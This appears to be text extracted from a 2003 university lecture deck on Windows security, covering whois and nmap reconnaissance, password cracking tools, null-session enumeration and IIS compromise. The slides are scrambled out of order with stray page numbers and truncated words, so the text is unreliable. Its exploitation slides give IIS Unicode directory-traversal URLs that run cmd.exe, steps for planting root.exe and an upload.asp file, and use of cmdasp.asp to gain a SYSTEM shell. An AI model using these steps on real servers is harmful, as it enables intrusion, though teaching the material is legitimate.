Windows Security Analysis

15
Slide 16
Nmap
16
Slide 17
Nessus
Remote security scanner Very comprehensive Frequently updated modules Testing of DoS attacks Open Source Win32 and Java Client URL: /
8
Slide 9
Can you buy Security?
“This system is secure.” A product vendor might say: “This product makes your network secure.” Or: “We secure eecommerce.” Inevitably, these claims are naïve and simplistic. They look at the security of the product, rather than the security of the system. The first questions to ask are: “Secure from whom?” and “Secure against what?”
Nmap Analysis…
TCP SYN Scan Half open scanning (Full port TCP connection not made) Less noisy than the TCP Connect Scan
23
Slide 24
Nmap Analysis…
TCP FIN Scan
24
TCP Xmas Tree Scan TCP Null Scan UDP Scan
Slide 25
Null Authentication
Null Authentication: Net use \\camford\IPC$ “” /u:“” camford\ Famous tools like ‘Red Button’ Net view \\camford List of Users, groups and shares Last logged on date Last password change Much more…
5
Slide 6
Security Threats
Denial of Service Theft of information Modification Fabrication (Spoofing or Masquerading)
6
Slide 7
Security Threats…
Why a compromise can occur: Physical Security Holes Software Security Holes Incompatible Usage Security Holes Social Engineering Complacency
L0pht Crack
Crack Passwords from: Local Machine Remote Machine SAM File SMB Sniffer PWDump file
20
Slide 21
Nmap Analysis
-
nmap –sP 158.125.0.0/16 Ping scan!
Slide 27
Gaining ‘Root’
Cmdasp.asp provides a cmd shell in the SYSTEM context Increase in privileges is now simple ISAPI.dll – RevertToSelf (Horovitz) Version 2 coded by Foundstone http://camford/scripts/idq.dll? http://camford/scripts/idq.dll? Patch Bulletin: MS01-26 MS01NOT included in Windows 2000 SP2
Displays the listing of c: in browser
Copy cmd.exe to /scripts/root.exe Echo upload.asp GET /scripts/root.exe /c+echo+[blah]>upload.asp Upload cmdasp.asp using upload.asp Still vulnerable on 24% of E-Commerce serng Information
Companies House Internet Search
URL:
Whois
URL: /cgi-bin/whois/whois /cgi-
/computing/
Bandwidth Management Advisory Service
/
2
Slide 3
Windows Security Analysis
Introduction Step-byStep-by-step Machine Compromise Preventing Attack Incident Response Further Reading
Bruce Schneier
9
Slide 10
Step-byStep-by-step Machine Compromise
Why, where, how?
10
Slide 11
Background
Reasons for Attack: Personal Issues Political Statement Financial Gain (Theft of money, information) Learning Experience DoS (Denial of Service) Support for Illegal Activity
7
Slide 8
The Easiest Security Improvement
Good passwords Usernames and Passwords are the primary security defence Use a password that is easy to type to avoid ‘Shoulder Surfers’ Use the first letters from song titles, song lyrics or film quotations
25
Slide 26
Exploiting the Security Hole
Using IIS Unicode/Directory Traversal
/scripts/../../winnt/system32/cmd.exe /c+dir /scripts/..%c0%af../winnt/system32/cmd.exe?/c+dir
nmap –sS158.125.0.0/16 - Stealth scan
21
Slide 22
Nmap Analysis…
TCP Connect Scan Completes a ‘Three Way Handshake’ Very noisy (Detection by IDS)
22
Slide 23
A Whois query can provide:
– The Registrant – The Domain Names Registered – The Administrative, Technical and Billing Contact – Record updated and created date stamps – DNS Servers for the Domain
– FIN Packet sent to target port – RST returned for all closed ports – Mostly works UNIX based TCP/IP Stacks – Sends a FIN, URG and PUSH packet – RST returned for all closed ports – Turns off all flags – RST returned for all closed ports – UDP Packet sent to target port – “ICMP Port Unreachable” for closed ports
13
Slide 14
Identifying System Weakness
Many products available: Nmap Nessus Pandora Pwdump L0pht Crack Null Authentication
14
Slide 15
Nmap
Port Scanning Tool Stealth scanning, OS Fingerprinting Open Source Runs under Unix based OS Port development for Win32 URL: /nmap/
Slide 1
Windows Security Analysis
Computer Science E-Commerce Security ‘2003’
Matthew Cook /
1
Slide 2
Introduction
Loughborough University
12
Slide 13
Gathering Information…
Use Nslookup or dig